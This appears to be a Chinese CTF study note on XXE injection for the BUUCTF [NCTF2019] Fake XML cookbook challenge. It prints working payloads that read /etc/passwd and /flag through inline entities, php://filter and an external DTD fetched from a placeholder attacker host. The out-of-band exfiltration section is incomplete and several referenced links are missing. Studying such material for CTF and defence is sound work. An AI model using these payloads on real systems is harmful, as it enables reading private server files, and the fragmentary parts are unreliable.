基础看这篇就好
借用的环境是这个buu的题:buu的[NCTF2019]Fake XML cookbook
,
内部实体声明,应该是无法触发xxe漏洞的,所以我们用的应该都是 外部实体声明。也就是 SYSTEM 后面的东西都是外部的url的东西?。。不是呀,这个应该就不影响了,只是 system 后面的东西 不一样而已,
xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY adam SYSTEM "file:///etc/passwd">
]>
有时候,可能flag是在PHP文件中,直接是看不到了,可以用PHP伪协议来读取。
xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY aa SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>
<user><username>&aa;</username><password>password</password></user>
DOCTYPE是引入外部的DTD文件,通常是 引入约束文件。这里,我们引入了一个危险的外部实体,test.dtd
xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://ip/test/test.dtd">
<user><username>&b;</username><password>ad</password></user>
DOCTYPE是引入外部的DTD文件,通常是 引入约束文件。这里,我们引入了一个危险的外部实体,test.dtd
用&name;
调用的话,直接调用 最终的实体的名字,其他的不用管
test.dtd内容如下:
<!ENTITY b SYSTEM "file:///etc/passwd">
意思是 先写一个外部实体声明,然后 引用在 攻击者服务器上的外部实体声明,
doctype是用来声明dtd文件的, 而参数实体只能在DTD中使用,所以就是用了,
xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://ip/test/test.dtd">
%d;
]>
<user><username>&b;</username><password>ad</password></user>
注意,这里最有调用的名字,还是最终的实体的名字,b
test.dtd中的内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
支持的协议有哪些呢?
不同的程序支持的协议如下:
其中php支持的协议会更多一些,但需要一定的扩展支持
上述的三种方法展示的都是读取任意文件的情形。
直接引入DTD外部实体声明。
注意一定要用一个编码来读取,不一定非要是base64,因为一些配置文件的内容有一些符号,可能会是xml解析出错。
这里没有调用file。整个不用,因为我们在调用int或者send的时候,就会去找file,然后调用了就
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "">
这里没用监听的方法,直接看的是日志文件/var/log/apache2/access.log
文件,
外显的这个,参考的是这一个。
关于整个pvs外带的,
一些东西看这个: